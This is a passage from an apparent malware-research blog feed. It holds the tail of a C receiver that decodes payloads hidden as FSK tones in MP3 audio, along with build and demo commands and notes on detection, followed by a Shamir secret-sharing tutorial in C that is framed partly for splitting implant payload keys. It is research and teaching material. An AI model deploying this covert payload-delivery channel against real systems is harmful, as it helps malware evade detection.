found\n&amp;quot;,offset);}free(bits);return0;}staticint16_t*read_raw_audio(constchar*path,int*out_samples){FILE*file=fopen(path,&amp;quot;rb&amp;quot;);if(!file){perror(&amp;quot;[=^..^=] raw input&amp;quot;);returnNULL;}intmax_samples=CAPTURE_SECS*SAMPLE_RATE;int16_t*audio=malloc((size_t)max_samples*sizeof(*audio));if(!audio){fclose(file);returnNULL;}size_tcount=fread(audio,sizeof(*audio),(size_t)max_samples,file);if(ferror(file)){perror(&amp;quot;[=^..^=] raw read&amp;quot;);free(audio);fclose(file);returnNULL;}fclose(file);if(count==0){fprintf(stderr,&amp;quot;[=^..^=] raw input is empty\n&amp;quot;);free(audio);returnNULL;}*out_samples=(int)count;returnaudio;}staticintscan_audio(constint16_t*audio,intn_samples){printf(&amp;quot;[=^..^=] scanning %d alignment offsets (step = %d samples)...\n\n&amp;quot;,N_OFFSETS,OFFSET_STEP);for(intt=0;t&amp;lt;N_OFFSETS;t++){intoffset=t*OFFSET_STEP;if(try_offset(audio,n_samples,offset))return1;}return0;}// mainintmain(intargc,char**argv){if(argc&amp;gt;=2&amp;amp;&amp;amp;strcmp(argv[1],&amp;quot;--raw&amp;quot;)==0){if(argc!=3){fprintf(stderr,&amp;quot;usage: %s --raw capture.s16le\n&amp;quot;,argv[0]);return2;}decode_only=1;intn_samples=0;int16_t*audio=read_raw_audio(argv[2],&amp;amp;n_samples);if(!audio)return1;printf(&amp;quot;[=^..^=] raw input     : %s\n&amp;quot;,argv[2]);printf(&amp;quot;[=^..^=] raw format    : mono s16le, %d Hz\n&amp;quot;,SAMPLE_RATE);printf(&amp;quot;[=^..^=] raw samples   : %d (%.2f s)\n\n&amp;quot;,n_samples,(double)n_samples/SAMPLE_RATE);intfound=scan_audio(audio,n_samples);free(audio);returnfound?0:1;}constchar*device=(argc&amp;gt;1)?argv[1]:&amp;quot;default&amp;quot;;printf(&amp;quot;[=^..^=] receiver  Bell 202 FSK  %d/%d Hz  %d baud  %d kHz\n&amp;quot;,FREQ_MARK,FREQ_SPACE,BAUD_RATE,SAMPLE_RATE/1000);printf(&amp;quot;[=^..^=] capture device : %s\n&amp;quot;,device);printf(&amp;quot;[=^..^=] SPB            : %d samples per bit\n&amp;quot;,SPB);printf(&amp;quot;[=^..^=] strategy       : %d offsets + clock recovery + all frames\n\n&amp;quot;,N_OFFSETS);snd_pcm_t*handle=open_capture(device);if(!handle)return1;intn_samples=0;int16_t*audio=capture_audio(handle,&amp;amp;n_samples);snd_pcm_close(handle);if(!audio)return1;intfound=scan_audio(audio,n_samples);free(audio);if(found)return0;printf(&amp;quot;\n[=^..^=] no valid frame found in %d s of audio\n&amp;quot;,CAPTURE_SECS);printf(&amp;quot;transmitter: python3 transmit_live.py (device: hw:Loopback,0,0)\n&amp;quot;);return1;}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3&gt;demo and decoding test&lt;/h3&gt;&lt;p&gt;Compile the receiver:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;gcc -O2 receiver.c -o receiver -lasound-lm&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/218/2026-08-01_13-15.png&quot; alt=&quot;malware&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;For a deterministic test, decode the first &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;12&lt;/code&gt; seconds of the MP3 to the exact raw format expected by the receiver:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;ffmpeg -t 12 -i demo.mp3 -f s16le -acodec pcm_s16le -ar 48000 -ac 1 demo.s16le&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/218/2026-08-01_13-16.png&quot; alt=&quot;malware&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;./receiver --raw demo.s16le&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--raw&lt;/code&gt; mode is decode-only: it verifies and prints the recovered bytes but deliberately skips execution. On my generated &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;demo.mp3&lt;/code&gt;, the result is:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/218/2026-08-01_13-17.png&quot; alt=&quot;malware&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;This proves that the complete frame survives real MP3 encoding and decoding. It does not, by itself, prove reliability through arbitrary speakers, microphones, rooms, or volume levels. Those introduce a separate acoustic channel, and success depends mainly on signal-to-noise ratio, frequency response, echo, and clock mismatch.&lt;/p&gt;&lt;p&gt;For the live experiment, start the receiver and then play the MP3 immediately:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;./receiver default
ffplay -nodisp-autoexit demo.mp3&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/218/2026-08-01_18-27.png&quot; alt=&quot;malware&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;I might add something interesting and show it at my next conference presentation. For a conference demo, an ALSA loopback is more reproducible than an open-air microphone. The exact device numbers must be checked using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aplay -l&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;arecord -l&lt;/code&gt;.&lt;/p&gt;&lt;h3&gt;defensive perspective&lt;/h3&gt;&lt;p&gt;This channel is not invisible. A defender can detect persistent energy around the two carrier frequencies, search decoded audio for the repeated preamble, or alert when an audio-capturing process later allocates executable memory. The strongest detection combines both sides: unusual spectral structure in the media channel and suspicious behavior in the receiver process.&lt;/p&gt;&lt;h3&gt;conclusion&lt;/h3&gt;&lt;p&gt;Part 3 solved coarse symbol alignment for a live FSK signal. Part 4 adds a lossy music container and deals with the new failure modes: MP3 distortion, repeated frames, delayed playback, symbol-clock drift, and boundary interference.&lt;/p&gt;&lt;p&gt;The key engineering rule is simple: never claim that a transport works merely because the output file was created. Decode the final artifact, recover the complete frame, and verify its checksum.&lt;/p&gt;&lt;p&gt;The complete source code is available in the &lt;a href=&quot;https://github.com/cocomelonc/signal-malware-delivery-poc&quot;&gt;signal-malware-delivery-poc repository&lt;/a&gt;.  &lt;br/&gt;&lt;a href=&quot;https://t.me/maldevcc/244&quot;&gt;demo video - telegram&lt;/a&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;This is a practical case for educational purposes only.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Thanks for your time, happy hacking and good bye!  &lt;br/&gt;&lt;em&gt;PS. All drawings and screenshots are mine&lt;/em&gt;&lt;/p&gt;</content:encoded>
</item>
<item>
<title>Malware and cryptography 45 - Shamir Secret Sharing. Simple C example.</title>
<link>https://cocomelonc.github.io/malware/2026/07/02/malware-cryptography-45.html</link>
<guid isPermaLink="false">Tgpatb985-lUvNdOq_3L1UlTqTkIKRv3sk4BxA==</guid>
<pubDate>Wed, 26 Aug 2026 09:37:29 +0000</pubDate>
<description>﷽</description>
<content:encoded>&lt;p&gt;﷽&lt;/p&gt;&lt;p&gt;Hello, cybersecurity enthusiasts and white hackers!&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/214/2026-07-02_11-34.png&quot; alt=&quot;cryptography&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;In previous posts of the malware and cryptography series, we mostly looked at payload hiding: block ciphers, stream ciphers, S-boxes, DFT tricks, and other ways to transform bytes before executing or storing them. Today I want to look at a different problem: &lt;strong&gt;how do we split a secret so that no single person, file, or server has enough information to recover it?&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;This is where &lt;strong&gt;Shamir’s Secret Sharing&lt;/strong&gt; becomes useful.&lt;/p&gt;&lt;p&gt;The idea is elegant: split a secret into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;N&lt;/code&gt; shares, choose a threshold &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;K&lt;/code&gt;, and make sure that:&lt;/p&gt;&lt;p&gt;any &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;K&lt;/code&gt; shares reconstruct the original secret;   &lt;br/&gt;
any &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;K-1&lt;/code&gt; shares reveal nothing about it.&lt;/p&gt;&lt;p&gt;This is not &lt;em&gt;“encrypt with password A and password B”&lt;/em&gt;. It is not XORing chunks together. It is a real threshold construction with information-theoretic secrecy.&lt;/p&gt;&lt;p&gt;For malware research and red team tooling, this idea appears in many places:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;split a decryption key between multiple operators;&lt;/li&gt;&lt;li&gt;require several implants or stages to cooperate before revealing a payload;&lt;/li&gt;&lt;li&gt;avoid storing the full secret in one binary or one config file;&lt;/li&gt;&lt;li&gt;build training labs for blue teamers to understand distributed key material;&lt;/li&gt;&lt;li&gt;study how advanced tooling can hide operational secrets without inventing new crypto.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;In this post we will implement a tiny proof-of-concept in pure C for Linux. It also cross-compiles with MinGW for Windows. No OpenSSL, no external libraries, no Python in the implementation. Python is used only later for plotting benchmark results.&lt;/p&gt;&lt;p&gt;This is educational/research code only. Do not use it for production secret storage without a serious security review.&lt;/p&gt;&lt;h3&gt;Shamir Secret Sharing&lt;/h3&gt;&lt;p&gt;Shamir’s Secret Sharing was introduced by Adi Shamir in 1979 in the paper &lt;em&gt;How to Share a Secret&lt;/em&gt;. The construction is based on a simple mathematical fact:&lt;/p&gt;&lt;p&gt;A polynomial of degree \(K-1\) is uniquely determined by \(K\) distinct points.&lt;/p&gt;&lt;p&gt;For example, a line needs two points, a parabola needs three points, and so on.&lt;/p&gt;&lt;p&gt;In our case, the secret is the value of the polynomial at zero:&lt;/p&gt;

\[f(0) = s\]

&lt;p&gt;To split a secret byte \(s\) with threshold \(K\), we build a random polynomial:&lt;/p&gt;

\[f(x) = s + a_1 x + a_2 x^2 + \dots + a_{K-1}x^{K-1}\]

&lt;p&gt;where \(a_1, a_2, \dots, a_{K-1}\) are random coefficients.&lt;/p&gt;&lt;p&gt;Then we evaluate this polynomial at non-zero points:&lt;/p&gt;

\[share_i = (x_i, f(x_i))\]

&lt;p&gt;For example:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;share 1: x = 1, y = f(1)
share 2: x = 2, y = f(2)
share 3: x = 3, y = f(3)
...&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The secret is not stored directly in any share. It is hidden as the value of the polynomial at \(x=0\).&lt;/p&gt;&lt;h3&gt;why GF(2^8)?&lt;/h3&gt;&lt;p&gt;In this implementation, I split files byte-by-byte. That means every byte is a value from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;255&lt;/code&gt;. It is tempting to do math modulo &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;256&lt;/code&gt;, but \(\mathbb{Z}/256\mathbb{Z}\) is not a field. Some non-zero values do not have multiplicative inverses. For Shamir reconstruction we need division, so we need a field.&lt;/p&gt;&lt;p&gt;The natural byte-sized field is:&lt;/p&gt;

\[\mathrm{GF}(2^8)\]

&lt;p&gt;I use the same irreducible polynomial used by AES:&lt;/p&gt;

\[x^8 + x^4 + x^3 + x + 1\]

&lt;p&gt;In hexadecimal form, this is:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;0x11b&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;In C code, after shifting a byte left, the high bit overflow is reduced with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x1b&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;if(hi)a^=0x1bU;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;This is the standard AES byte-field reduction logic.&lt;/p&gt;&lt;p&gt;Addition in \(\mathrm{GF}(2^8)\) is XOR:&lt;/p&gt;

\[a + b = a \oplus b\]

&lt;p&gt;Subtraction is the same operation, because the field has characteristic two:&lt;/p&gt;

\[a - b = a + b = a \oplus b\]

&lt;p&gt;This is why Lagrange interpolation in this field looks a little unusual but remains clean.&lt;/p&gt;&lt;h3&gt;Lagrange reconstruction&lt;/h3&gt;&lt;p&gt;Given any \(K\) shares:&lt;/p&gt;

\[(x_1, y_1), (x_2, y_2), \dots, (x_K, y_K)\]

&lt;p&gt;we reconstruct the secret by evaluating the interpolation polynomial at zero:&lt;/p&gt;

\[f(0) = \sum_{i=1}^{K} y_i \cdot \ell_i(0)\]

&lt;p&gt;where:&lt;/p&gt;

\[\ell_i(0) = \prod_{j=1, j \neq i}^{K} \frac{0 - x_j}{x_i - x_j}\]

&lt;p&gt;In \(\mathrm{GF}(2^8)\), subtraction is XOR, so:&lt;/p&gt;

\[0 - x_j = x_j\]

&lt;p&gt;and:&lt;/p&gt;

\[x_i - x_j = x_i \oplus x_j\]

&lt;p&gt;Therefore the formula used in the code is:&lt;/p&gt;

\[f(0) = \bigoplus_{i=1}^{K} y_i \cdot \prod_{j=1, j \neq i}^{K} \frac{x_j}{x_i \oplus x_j}\]

&lt;p&gt;This is exactly what the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;interpolate_at_zero&lt;/code&gt; function does.&lt;/p&gt;&lt;h3&gt;tiny file format&lt;/h3&gt;&lt;p&gt;This PoC writes every share as a tiny text header plus raw binary bytes:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;TINY-SHAMIR-V1 k=3 n=5 x=1 len=1234
&amp;lt;binary share bytes&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;where:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;k&lt;/code&gt; is the threshold;&lt;/li&gt;&lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;n&lt;/code&gt; is the total number of generated shares;&lt;/li&gt;&lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;x&lt;/code&gt; is the share coordinate;&lt;/li&gt;&lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;len&lt;/code&gt; is the original secret length;&lt;/li&gt;&lt;li&gt;the rest of the file is one byte per original secret byte.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;There is no IETF RFC for this exact raw container. The cryptographic construction is Shamir’s original scheme; the field arithmetic uses the AES/FIPS-197 byte field; the container is intentionally small and documented for research.&lt;/p&gt;&lt;h3&gt;practical example&lt;/h3&gt;&lt;p&gt;Let’s start from simple C example. The project structure is simple: only one C file is required:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;tree -h ./&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/214/2026-07-02_11-12.png&quot; alt=&quot;cryptography&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;h3&gt;GF multiplication&lt;/h3&gt;&lt;p&gt;The first important function is multiplication in \(\mathrm{GF}(2^8)\):&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;staticuint8_tgf_mul_slow(uint8_ta,uint8_tb){uint8_tp=0;for(inti=0;i&amp;lt;8;i++){if(b&amp;amp;1U)p^=a;uint8_thi=(uint8_t)(a&amp;amp;0x80U);a=(uint8_t)(a&amp;lt;&amp;lt;1);if(hi)a^=0x1bU;b=(uint8_t)(b&amp;gt;&amp;gt;1);}returnp;}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;This is the classic “Russian peasant multiplication” style used in AES implementations:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;if the low bit of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;b&lt;/code&gt; is set, XOR the current &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a&lt;/code&gt; into the product;&lt;/li&gt;&lt;li&gt;multiply &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a&lt;/code&gt; by \(x\), implemented as left shift;&lt;/li&gt;&lt;li&gt;if the high bit overflowed, reduce by the AES polynomial;&lt;/li&gt;&lt;li&gt;shift &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;b&lt;/code&gt; right and continue.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;This function is simple, but calling it for every multiplication would be slow. So we build log/exp tables:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;staticvoidgf_init(void){uint8_tx=1;for(inti=0;i&amp;lt;255;i++){gf_exp[i]=x;gf_log[x]=(uint8_t)i;x=gf_mul_slow(x,0x03U);}for(inti=255;i&amp;lt;512;i++)gf_exp[i]=gf_exp[i-255];gf_log[0]=0;gf_ready=1;}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The element &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x03&lt;/code&gt; is primitive in this field. We generate all non-zero field elements and map:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;value -&amp;gt; logarithm
logarithm -&amp;gt; value&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Then multiplication becomes:&lt;/p&gt;

\[a \cdot b = \alpha^{\log(a) + \log(b)}\]

&lt;p&gt;implemented as:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;staticuint8_tgf_mul(uint8_ta,uint8_tb){if(!gf_ready)gf_init();if(a==0||b==0)return0;returngf_exp[gf_log[a]+gf_log[b]];}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Division is the same idea:&lt;/p&gt;

\[a / b = \alpha^{\log(a) - \log(b)}\]

&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;staticuint8_tgf_div(uint8_ta,uint8_tb){if(!gf_ready)gf_init();if(b==0)die(&amp;quot;division by zero in GF(256)&amp;quot;);if(a==0)return0;returngf_exp[gf_log[a]+255-gf_log[b]];}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;+ 255&lt;/code&gt; avoids negative values because the non-zero multiplicative group has size &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;255&lt;/code&gt;.&lt;/p&gt;&lt;h3&gt;polynomial evaluation&lt;/h3&gt;&lt;p&gt;Each byte gets its own random polynomial. We evaluate it with Horner’s method:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;staticuint8_tpoly_eval(constuint8_t*coef,intk,uint8_tx){uint8_ty=coef[k-1];for(inti=k-2;i&amp;gt;=0;i--){y=(uint8_t)(gf_mul(y,x)^coef[i]);}returny;}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;For a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;3-of-5&lt;/code&gt; split, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;k = 3&lt;/code&gt;, so the polynomial is:&lt;/p&gt;

\[f(x) = c_0 \oplus c_1x \oplus c_2x^2\]

&lt;p&gt;where:&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;c0&lt;/code&gt; is the secret byte;   &lt;br/&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;c1&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;c2&lt;/code&gt; are random bytes.&lt;/p&gt;&lt;p&gt;Horner form evaluates it like this:&lt;/p&gt;

\[f(x) = ((c_2x) \oplus c_1)x \oplus c_0\]

&lt;p&gt;This is compact and avoids explicitly computing every power of \(x\).&lt;/p&gt;&lt;h3&gt;splitting&lt;/h3&gt;&lt;p&gt;The split command does this:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;for(uint64_tp=0;p&amp;lt;len;p++){coef[0]=secret[p];if(secure_random(coef+1,(size_t)(k-1))!=0)die(&amp;quot;random source failed&amp;quot;);for(intx=1;x&amp;lt;=n;x++){rows[(size_t)(x-1)*(size_t)len+(size_t)p]=poly_eval(coef,k,(uint8_t)x);}}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;This is the heart of the implementation.&lt;/p&gt;&lt;p&gt;For every byte position &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;p&lt;/code&gt;:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;put the original secret byte into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;coef[0]&lt;/code&gt;;&lt;/li&gt;&lt;li&gt;generate &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;k-1&lt;/code&gt; random coefficients;&lt;/li&gt;&lt;li&gt;evaluate the polynomial at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;x = 1, 2, ..., n&lt;/code&gt;;&lt;/li&gt;&lt;li&gt;store each result into the matching share row.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;The important detail: &lt;em&gt;the random polynomial is generated once per secret byte, then evaluated for all shares. If you accidentally generate new random coefficients separately for each share, reconstruction becomes impossible because the shares no longer lie on the same polynomial.&lt;/em&gt;&lt;/p&gt;&lt;h3&gt;what about recovery?&lt;/h3&gt;&lt;p&gt;Recovery reads at least &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;K&lt;/code&gt; shares and reconstructs each byte independently:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;for(uint64_tp=0;p&amp;lt;len;p++)secret[p]=interpolate_at_zero(shares,k,p);&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The interpolation function is:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;staticuint8_tinterpolate_at_zero(constshare_t*shares,intk,uint64_tpos){uint8_tacc=0;for(inti=0;i&amp;lt;k;i++){uint8_txi=shares[i].x;uint8_tyi=shares[i].y[pos];uint8_tnum=1;uint8_tden=1;for(intj=0;j&amp;lt;k;j++){if(i==j)continue;uint8_txj=shares[j].x;num=gf_mul(num,xj);den=gf_mul(den,(uint8_t)(xi^xj));}acc^=gf_mul(yi,gf_div(num,den));}returnacc;}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;For each share \(i\), it builds the Lagrange basis coefficient:&lt;/p&gt;

\[\prod_{j \neq i} \frac{x_j}{x_i \oplus x_j}\]

&lt;p&gt;Then it multiplies this coefficient by the share byte \(y_i\), XORs all terms together, and obtains \(f(0)\).&lt;/p&gt;&lt;h3&gt;parser caveat&lt;/h3&gt;&lt;p&gt;One subtle bug is worth discussing. Since the share file has a text header followed by binary data, do not parse the header with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fscanf(... &amp;quot;\n&amp;quot;)&lt;/code&gt;. In &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;scanf&lt;/code&gt;, whitespace in the format string consumes arbitrary following whitespace. But binary share data can start with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x09&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x0a&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x0d&lt;/code&gt;, or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x20&lt;/code&gt;. If &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;scanf&lt;/code&gt; eats the first binary byte, the share becomes “short”.&lt;/p&gt;&lt;p&gt;The safe approach is:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;if(!fgets(header,sizeof(header),f))die(&amp;quot;bad share header&amp;quot;);if(sscanf(header,&amp;quot;%63s k=%hhu n=%hhu x=%hhu len=%&amp;quot;SCNu64,magic,&amp;amp;s.k,&amp;amp;s.n,&amp;amp;s.x,&amp;amp;s.len)!=5){die(&amp;quot;bad share header&amp;quot;);}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Read exactly one line with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fgets&lt;/code&gt;, parse that line with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sscanf&lt;/code&gt;, and then switch to raw &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fread&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;This is one of those bugs that only appears when you start testing on a real dataset.&lt;/p&gt;&lt;h3&gt;benchmark dataset&lt;/h3&gt;&lt;p&gt;For research I generated a dataset with many files:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;1200 files
2.4049 GiB total
64 KiB smallest file
31 MiB largest file&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Then I ran the plotting helper:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;python3 plot_dataset.py ./tiny-shamir ./dataset_1000 3 5 results_1000.csv results_1000.png&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The helper does:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;split every file as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;3-of-5&lt;/code&gt;;&lt;/li&gt;&lt;li&gt;recover from the first three shares;&lt;/li&gt;&lt;li&gt;compare SHA-256 of original and recovered file;&lt;/li&gt;&lt;li&gt;write timings to CSV;&lt;/li&gt;&lt;li&gt;plot split/recover time.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/209/results_1000.png&quot; alt=&quot;cryptography&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;As expected, split time grows roughly linearly with file size. Recovery is cheaper for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;3-of-5&lt;/code&gt;, because reconstruction uses only &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;K&lt;/code&gt; shares, while splitting evaluates the polynomial for all &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;N&lt;/code&gt; shares.&lt;/p&gt;&lt;h3&gt;mathematical proof&lt;/h3&gt;&lt;p&gt;Why does this work?&lt;/p&gt;&lt;p&gt;A polynomial of degree \(K-1\) over a field is uniquely determined by \(K\) distinct points. In our scheme, the secret byte is:&lt;/p&gt;

\[s = f(0)\]

&lt;p&gt;Every share gives one point on the polynomial:&lt;/p&gt;

\[(x_i, y_i) = (x_i, f(x_i))\]

&lt;p&gt;Given \(K\) distinct points, Lagrange interpolation reconstructs the exact polynomial:&lt;/p&gt;

\[f(x) = \sum_{i=1}^{K} y_i \ell_i(x)\]

&lt;p&gt;where:&lt;/p&gt;

\[\ell_i(x) = \prod_{j \neq i} \frac{x - x_j}{x_i - x_j}\]

&lt;p&gt;Set \(x=0\), and you get:&lt;/p&gt;

\[f(0) = \sum_{i=1}^{K} y_i \prod_{j \neq i} \frac{-x_j}{x_i - x_j}\]

&lt;p&gt;In \(\mathrm{GF}(2^8)\), minus is the same as plus, so:&lt;/p&gt;

\[-x_j = x_j\]

&lt;p&gt;and:&lt;/p&gt;

\[x_i - x_j = x_i \oplus x_j\]

&lt;p&gt;which gives the implementation formula:&lt;/p&gt;

\[f(0) = \bigoplus_{i=1}^{K} y_i \cdot \prod_{j \neq i} \frac{x_j}{x_i \oplus x_j}\]

&lt;p&gt;Why do \(K-1\) shares reveal nothing?&lt;/p&gt;&lt;p&gt;With \(K-1\) known points, for every possible secret byte \(s’\), there exists exactly one polynomial of degree at most \(K-1\) that passes through:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;the \(K-1\) known share points;&lt;/li&gt;&lt;li&gt;the point \((0, s’)\).&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;So every candidate secret byte remains possible:&lt;/p&gt;

\[\Pr[\text{secret}=s&amp;#39; \mid K-1\ \text{shares}] = \frac{1}{256}\]

&lt;p&gt;for every \(s’\) in a byte field, assuming the coefficients are uniformly random.&lt;/p&gt;&lt;p&gt;This is information-theoretic secrecy. It does not depend on computational hardness.&lt;/p&gt;&lt;h3&gt;full source code&lt;/h3&gt;&lt;p&gt;So, full source code is looks like this (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tiny_shamir.c&lt;/code&gt;):&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;/*
 * tiny_shamir.c
 * Tiny Shamir threshold secret sharing PoC over GF(2^8).
